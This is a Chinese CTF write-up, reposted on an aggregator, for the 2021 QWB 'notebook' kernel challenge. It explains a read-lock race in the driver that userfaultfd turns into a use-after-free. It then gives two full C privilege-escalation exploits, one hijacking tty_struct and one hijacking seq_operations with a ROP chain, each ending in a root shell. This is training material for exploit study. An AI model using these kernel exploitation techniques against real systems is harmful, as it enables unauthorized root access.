【userfaultfd】2021强网杯notebook

news2024/11/20 3:30:50

程序分析

老规矩,看下启动脚本

开启了 smep、smap、kaslr 保护,当然 kvm64 默认开启 kpti 保护

文件系统初始化脚本

#!/bin/sh
/bin/mount -t devtmpfs devtmpfs /dev
chown root:tty /dev/console
chown root:tty /dev/ptmx
chown root:tty /dev/tty
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts

mount -t proc proc /proc
mount -t sysfs sysfs /sys

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

ifup eth0 > /dev/null 2>/dev/null

insmod notebook.ko
cat /proc/modules | grep notebook > /tmp/moduleaddr
chmod 777 /tmp/moduleaddr
chmod 777 /dev/notebook
echo "Welcome to QWB!"

#sh
setsid cttyhack setuidgid 1000 sh
#setsid cttyhack setuidgid 0 sh

umount /proc
umount /sys

poweroff -d 1 -n -f

一眼看到驱动模块 netobook.ko

mynote_ioctl 函数 

该函数实现了堆块的增删改的功能(果然什么都逃不过屌丝菜单题的命运bushi) 简单说一下漏洞点

在 noteedit 函数中,会使用 krealloc 函数重新申请一个堆块,所以如果我们传入的新的 size 为0 或者比原来的大,则会将原来的堆块释放掉。

但是 noteedit 函数中存在一个问题,那就是其并没有直接将 krealloc 返回的堆块指针赋值给 notebook[idx]->ptr ,而是先把它赋值给了 v7,然后再用 copy_from_user 复制数据,最后再经过一些检查再将 v7 的值赋值到 notebook 中。当然这里最大的问题是上的是读锁,这就意味着其他拿读锁的函数可以跟这个函数并行,这也为我们后面的利用提供了可能。

mynote_read / mynote_write 函数

 我们有读写堆块的能力,但是有大小限制。

漏洞利用

在 mynote_ioctl 函数中,当我们传入 newsize=0时(你也可以传入更大的值) 我们知道了一个逻辑:

1、先修改 size = newsize

2、释放原来的堆块(申请新的堆块,这里我们传入newsize=0,所以不会申请新的堆块)

3、调用 copy_from_user 复制数据

4、将新的指针赋值给 notebook[idx]->ptr

那这里很明显我们可以在第 3 步使用 userfaultfd 将其卡住,此时 notebook[idx]->ptr 还没有改变,但是其已经被释放了,所以这里就存在一个 UAF。

这里我们选择 tty_struct 去打,程序给了读写的能力,但是有 size 的检查,并且在第一步 size 已经被修改为了 newsize=0,所以这里检查过不了(有人说将newsize传一个大的值,但是这里检查的是 notebook[idx]->ptr 这个堆块的实际大小和 size 的大小关系,所以你还是通过不了检查)

那怎么办呢?

但是注意到 noteadd 函数:

其拿的是读锁,所以当 noteedit 用 userfaultfd 卡住时,其也能执行,但是这个很好的是,这个函数是先修改的 notebook[idx]->size、然后在用 copy_from_user 复制数据,然后再给 notebook[idx]->ptr 申请一个新的堆块,简而言之就是:

1、修改 notebook[idx]->size 为我们输入的 size

2、使用 copy_from_user 复制数据

3、kmalloc(size) 给 notebook[idx]->ptr 

那么我们就可以利用这个函数去修复在 noteedit 中被破坏的 size,即用 userfaultfd 卡在第 2 步。

当然这里由于开启了 smap 保护,使用 tty_struct 的 ops 表也不能直接在用户空间伪造,但是题目直接给了一个 notegift 函数可以读出堆块的地址,所以直接把 ops 表伪造在一个堆块上就 ok 了。

当然如果题目没有给这个函数的话,可以考虑用 seq_operations 去打。 

最后劫持 tty_struct 后直接用 work_for_cpu_fn,exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

#define PTM_UNIX98_OPS 0xffffffff81e8e440
#define PTY_UNIX98_OPS 0xffffffff81e8e320
#define INIT_CRED 0xffffffff8225c940
#define COMMIT_CREDS 0xffffffff810a9b40
#define WORK_FOR_CPU_FN 0xffffffff8109eb90
#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int fd;
struct note {
        size_t idx;
        size_t size;
        char* buf;
};

void add(size_t idx, size_t size, char* buf)
{
        struct note n = { .idx = idx, .size = size, .buf = buf };
        ioctl(fd, 0x100, &n);
}

void dele(size_t idx)
{
        struct note n = { .idx = idx };
        ioctl(fd, 0x200, &n);
}

void edit(size_t idx, size_t size, char* buf)
{
        struct note n = { .idx = idx, .size = size, .buf = buf };
        ioctl(fd, 0x300, &n);
}

void gift(char* buf)
{
        struct note n = { .buf = buf };
        ioctl(fd, 0x64, &n);
}

void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler)
{
        int uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR");

        uffdio_register.range.start = (unsigned long long)uffd_buf;
        uffdio_register.range.len = 0x1000;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR");

        int res = pthread_create(&pthread_moniter, NULL, handler, uffd);
        if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func");
}

char buf[0x30];
void handler(void* args)
{
        int uffd = (int)args;
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;

        for (;;)
        {
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                int res = poll(&pollfd, 1, -1);
                if (res == -1) err_exit("ERROR on poll");

                int n = read(uffd, &msg, sizeof(msg));
                if (n == 0) err_exit("EOF on read uffd");
                if (n == -1) err_exit("ERROR on read uffd");

                sleep(100);
                puts("userfault over");
                if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("No correct EVENT");

                uffdio_copy.src = buf;
                uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
                uffdio_copy.len = 0x20;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ERROR in UFFDIO_COPY");
        }
}

sem_t sem_edit, sem_add;

void evil_edit(void* args)
{
        sem_wait(&sem_edit);
        info("evil_edit for construct UAF");
        edit(0, 0, args);
}

void evil_add(void* args)
{
        sem_wait(&sem_add);
        info("evil_add for fix the size");
        add(0, 0x60, args);
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);

        size_t buf[0x300];
        size_t tty_struct[0x300];
        size_t fake_ops[0x100];
        size_t fake_ops_addr;
        char* uffd_buf;
        int tty_fd;
        size_t kernel_offset;
        pthread_t moniter, pt_edit, pt_add;

        sem_init(&sem_edit, 0, 0);
        sem_init(&sem_add, 0, 0);

        fd = open("/dev/notebook", O_RDWR);
        add(0, 0x20, buf);
        edit(0, 0x2e0, buf);

        uffd_buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        register_userfaultfd(uffd_buf, moniter, handler);

        pthread_create(&pt_edit, NULL, evil_edit, uffd_buf);
        pthread_create(&pt_add, NULL, evil_add, uffd_buf);

        sem_post(&sem_edit);
        sleep(2);
        sem_post(&sem_add);
        sleep(2);

        tty_fd = open("/dev/ptmx", O_RDWR);

        read(fd, tty_struct, 0);
        //read(fd, buf, 0);
        binary_dump("tty_struct", tty_struct, 0x60);

        if (*(int*)tty_struct != 0x5401) err_exit("No alloc tty_struct by UAF");

        kernel_offset = 0;
        if ((tty_struct[3]&0xfff) == (PTM_UNIX98_OPS&0xfff)) puts("PTM_UNIX98_OPS"), kernel_offset = tty_struct[3] - PTM_UNIX98_OPS;
        else puts("PTY_UNIX98_OPS"), kernel_offset = tty_struct[3] - PTY_UNIX98_OPS;
        hexx("kernel_offset", kernel_offset);

        add(1, 0x20, buf);
        edit(1, 0x100, buf);

        gift(buf);
        fake_ops_addr = buf[2];
        binary_dump("object addr", buf, 0x20);
        hexx("fake_ops_addr", fake_ops_addr);

        memcpy(buf, tty_struct, 0x60);
        buf[3] = fake_ops_addr;
        buf[4] = COMMIT_CREDS + kernel_offset;
        buf[5] = INIT_CRED + kernel_offset;
        fake_ops[12] = WORK_FOR_CPU_FN + kernel_offset;

        binary_dump("fake_tty_struct", buf, 0x60);
        write(fd, buf, 0);

        binary_dump("fake_ops", fake_ops, 0x70);
        write(fd, fake_ops, 1);

        ioctl(tty_fd, 233, 233);
        write(fd, tty_struct, 0);
        pthread_cancel(pt_edit);
        pthread_cancel(pt_add);
        hexx("UID", getuid());
        system("/bin/sh");
        return 0;
}

 但是这里提权好像不是很稳定,最后 userfaultfd 卡的时间到了后,会有个 bug

希望有佬可以解释一些最后面出现的问题 

当然就算题目没有给 notegitf 这个泄漏 object 地址的功能,我们也可以通过 seq_operations 直接打,exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

#define SINGLE_START 0xffffffff8128c230
size_t pop_rdi = 0xffffffff81007115; // pop rdi ; ret
size_t add_rsp_xx = 0xFFFFFFFF8127CDB2l;
size_t swapgs_kpti = 0xFFFFFFFF81A00931;
size_t init_cred = 0xffffffff8225c940;
size_t commit_creds = 0xffffffff810a9b40;
size_t prepare_kernel_cred = 0xffffffff810a9ef0;

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int fd;
struct note {
        size_t idx;
        size_t size;
        char* buf;
};

void add(size_t idx, size_t size, char* buf)
{
        struct note n = { .idx = idx, .size = size, .buf = buf };
        ioctl(fd, 0x100, &n);
}

void dele(size_t idx)
{
        struct note n = { .idx = idx };
        ioctl(fd, 0x200, &n);
}

void edit(size_t idx, size_t size, char* buf)
{
        struct note n = { .idx = idx, .size = size, .buf = buf };
        ioctl(fd, 0x300, &n);
}

void gift(char* buf)
{
        struct note n = { .buf = buf };
        ioctl(fd, 0x64, &n);
}

void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler)
{
        int uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR");

        uffdio_register.range.start = (unsigned long long)uffd_buf;
        uffdio_register.range.len = 0x1000;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR");

        int res = pthread_create(&pthread_moniter, NULL, handler, uffd);
        if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func");
}

char buf[0x30];
void handler(void* args)
{
        int uffd = (int)args;
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;

        for (;;)
        {
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                int res = poll(&pollfd, 1, -1);
                if (res == -1) err_exit("ERROR on poll");

                int n = read(uffd, &msg, sizeof(msg));
                if (n == 0) err_exit("EOF on read uffd");
                if (n == -1) err_exit("ERROR on read uffd");

                sleep(10000);
                puts("userfault over");
                if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("No correct EVENT");

                uffdio_copy.src = buf;
                uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
                uffdio_copy.len = 0x20;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ERROR in UFFDIO_COPY");
        }
}

sem_t sem_edit, sem_add;

void evil_edit(void* args)
{
        sem_wait(&sem_edit);
        info("evil_edit for construct UAF");
        edit(0, 0, args);
}

void evil_add(void* args)
{
        sem_wait(&sem_add);
        info("evil_add for fix the size");
        add(0, 0x20, args);
}

int seq_fd;
int main(int argc, char** argv, char** env)
{
        bind_core(0);

        size_t buf[0x300];
        char* uffd_buf;
        size_t kernel_offset;
        pthread_t moniter, pt_edit, pt_add;

        sem_init(&sem_edit, 0, 0);
        sem_init(&sem_add, 0, 0);

        fd = open("/dev/notebook", O_RDWR);
        add(0, 0x20, buf);

        uffd_buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        register_userfaultfd(uffd_buf, moniter, handler);

        pthread_create(&pt_edit, NULL, evil_edit, uffd_buf);
        pthread_create(&pt_add, NULL, evil_add, uffd_buf);

        sem_post(&sem_edit);
        sleep(2);
        sem_post(&sem_add);
        sleep(2);

        seq_fd = open("/proc/self/stat", O_RDONLY);
        if (seq_fd < 0) err_exit("Failed to open /proc/self/stat");

        read(fd, buf, 0);
        binary_dump("seq_operations", buf, 0x20);
        kernel_offset = buf[0] - SINGLE_START;
        hexx("kernel_offset", kernel_offset);

        buf[0] = add_rsp_xx + kernel_offset;
        hexx("seq_operations->start", buf[0]);
        write(fd, buf, 0);

        pop_rdi += kernel_offset;
        init_cred += kernel_offset;
        commit_creds += kernel_offset;
        swapgs_kpti += kernel_offset;
        asm volatile(
        "mov r15, pop_rdi;"
        "mov r14, init_cred;"
        "mov r13, commit_creds;"
        "mov r12, swapgs_kpti;"
        "mov rbp, 0x55555555;"
        "mov rbx, 0x66666666;"
        "mov r11, 0x77777777;"
        "mov r10, 0x88888888;"
        "mov r9,  0x99999999;"
        "mov r8,  0xaaaaaaaa;"
        "xor rax, rax;"
        "mov rcx, 0xbbbbbbbb;"
        "mov rdx, 8;"
        "mov rsi, buf;"
        "mov rdi, seq_fd;"
        "syscall;"
        );

        hexx("UID", getuid());
        system("/bin/sh");

        return 0;
}

 上面两个脚本都可以成功提权:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1059235.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SAAJ:SOAP with Attachments API for Java

介绍 支持带附件的SOAP消息Java接口&#xff08;SAAJ&#xff1a;SOAP with Attachments API for Java&#xff09;&#xff0c;定义了一套API&#xff0c;使开发者可以产生、消费遵从SOAP 1.1, SOAP 1.2, 和SOAP Attachments Feature的消息。 2019年SAAJ更改为新的名字&…

MIP精确算法的关键——确定界

目录 1.界是什么&#xff1f; 2. 如何更新上下界 2.1 以分支定界为框架的一系列算法 2.2 benders分解 MIP精确算法包含&#xff0c;分支定界、分支切割、分支定价还有benders分解等等。前者是以分支定界为框架的一类算法&#xff1b;后者是以分解为框架的一类算法。甚至还包…

Springboot学习笔记——1

Springboot学习笔记——1 一、快速上手Springboot1.1、Springboot入门程序开发1.1.1、IDEA创建Springboot项目1.1.2、官网创建Springboot项目1.1.3、阿里云创建Springboot项目1.1.4、手工制作Springboot项目 1.2、隐藏文件或文件夹1.3、入门案例解析1.3.1、parent1.3.2、starte…

嵌入式软件架构基础设施设计方法

大家好&#xff0c;今天分享一篇嵌入式软件架构设计相关的文章。 软件架构这东西&#xff0c;众说纷纭&#xff0c;各有观点。在我看来&#xff0c;软件架构是软件系统的基本结构&#xff0c;包含其组件、组件之间的关系、组件设计与演进的规则&#xff0c;以及体现这些规则的基…

Nginx高级 第一部分:扩容

Nginx高级 第一部分&#xff1a;扩容 通过扩容提升整体吞吐量 1.单机垂直扩容&#xff1a;硬件资源增加 云服务资源增加 整机&#xff1a;IBM、浪潮、DELL、HP等 CPU/主板&#xff1a;更新到主流 网卡&#xff1a;10G/40G网卡 磁盘&#xff1a;SAS(SCSI) HDD&#xff08;机械…

【C/C++笔试练习】——常量指针和指针常量、结构体内存分配、统计输入的字母个数、排序子序列、倒置字符串

文章目录 C/C笔试练习1.常量指针和指针常量&#xff08;1&#xff09;常量指针和指针常量的定义&#xff08;2&#xff09;判别常量指针和指针常量&#xff08;3&#xff09;常量指针和指针常量的特性 2.结构体内存分配&#xff08;4&#xff09;计算结构体大小&#xff08;5&a…

【计算机】CPU,芯片以及操作系统概述

1.CPU 什么是CPU? CPU&#xff08;Central Processing Unit&#xff09;是计算机系统的运算和控制核心&#xff0c;是信息处理、程序运行的最终执行单元&#xff0c;相当于系统的“大脑”。 CPU的工作流程&#xff1f; CPU 的工作流程分为以下 5 个阶段&#xff1a;取指令…

C++ -- 学习系列 关联式容器 set 与 map

一 关联式容器是什么&#xff1f; c 中有两种容器类型&#xff1a;关联式容器与序列式容器&#xff08;顺序容器&#xff09; 关联式中的容器是按照关键字来存储与访问的&#xff0c;序列式容器&#xff08;顺序容器&#xff09;则是元素在容器中的相对位置来存储与访问的。…

C++标准模板(STL)- 类型支持 ()

对象、引用、函数&#xff08;包括函数模板特化&#xff09;和表达式具有称为类型的性质&#xff0c;它限制了对这些实体所容许的操作&#xff0c;并给原本寻常的位序列提供了语义含义。 附加性基本类型及宏 实现定义的空指针常量 NULL 定义于头文件 <clocale> 定义于…

2.类与对象 拜访对象村

2.1 椅子大战 在图形接口画出正方形、圆形与三角形。当用户选点图形时&#xff0c;图形需要顺时针转360并依据形状的不同播放播放不同的AIF文件。胜者可以坐上名贵宝椅。 面向过程&#xff1a; rotate(shapeNum) {//旋转360 } playSound(shapeNum) {//查询播放哪个AIF文件//播…

嵌入式Linux应用开发-驱动大全-同步与互斥②

嵌入式Linux应用开发-驱动大全-同步与互斥② 第一章 同步与互斥②1.3 原子操作的实现原理与使用1.3.1 原子变量的内核操作函数1.3.2 原子变量的内核实现1.3.2.1 ATOMIC_OP在 UP系统中的实现1.3.2.2 ATOMIC_OP在 SMP系统中的实现 1.3.3 原子变量使用案例1.3.4 原子位介绍1.3.4.1…

pyqt5使用经验总结

pyqt5环境配置注意&#xff1a; 安装pyqt5 pip install PyQt5 pyqt5-tools 环境变量-创建变量名&#xff1a; 健名&#xff1a;QT_QPA_PLATFORM_PLUGIN_PATH 值为&#xff1a;Lib\site-packages\PyQt5\Qt\plugins pyqt5经验2&#xff1a; 使用designer.exe进行设计&#xff1…

Maven - MacOS 快速安装

配置信息 Maven 版本&#xff1a;3.6.3Maven 地址&#xff1a;Index of /dist/maven/maven-3IDEA&#xff1a;2023 Tips&#xff1a;Maven 版本最好不要超过 3.8.0&#xff0c;最新版 Maven 会不兼容一些配置信息。上面的 Maven 地址里可以选择自己想下载的版本&#xff08;这…

【源码】hamcrest 源码阅读及空对象模式、模板方法模式的应用

文章目录 前言1. 类图概览2. 源码阅读2.1 抽象类 BaseMatcher2.1 接口 Description提炼模式&#xff1a;空对象模式 2. 接口 Description 与 SelfDescribing 配合使用提炼模式 模板方法 后记 前言 hamcrest &#xff0c;一个被多个测试框架依赖的包。听说 hamcrest 的源码质量…

【maven】idea中基于maven-webapp骨架创建的web.xml问题

IDEA中基于maven-webapp骨架创建的web工程&#xff0c;默认的web.xml是这样的。 <!DOCTYPE web-app PUBLIC"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN""http://java.sun.com/dtd/web-app_2_3.dtd" ><web-app><display-name…

go语法入门2

字符串 使用双引号或反引号引起来的任意个字符。它是字面常量。 func main() {var a "abc\n测试" // \n换行fmt.Println(a) } abc 测试func main() {var a "abc\n\t测试" \\换行后在tabfmt.Println(a) } abc测试func main() {var a abc测试 …

CppCheck静态代码检查工具教程【Windows和Linux端】

目录 1、背景 2、特性介绍 2.1、检查结果 2.2、检查范围 2.3、支持的检查规则&#xff08;列举一些&#xff09;: 2.4、自定义规则 3、linux 端 4、windows 端 1、背景 最近调研了几款 c/c 代码静态检查工具&#xff0c;包括 cppcheck、cpplint、cppdepend、splint、ts…

cmip6数据处理之降尺度

专题一 CMIP6中的模式比较计划 1.1 GCM介绍全球气候模型&#xff08;Global Climate Model, GCM&#xff09;&#xff0c;也被称为全球环流模型或全球大气模型&#xff0c;是一种用于模拟地球的气候系统的数值模型。这种模型使用一系列的数学公式来描述气候系统的主要组成部分…

分享Arduino环境下加速下载 第三方库或芯片包

Content 问题描述问题解决 问题描述 众所周知&#xff0c;由于网络的问题&#xff0c;导致Arduino里面的包下载速度非常慢&#xff0c;甚至下了非常久&#xff0c;最后也还是出现下载失败的情况。 有的人打开了加速器&#xff0c;但是也依旧是速度非常慢&#xff0c;为什么呢…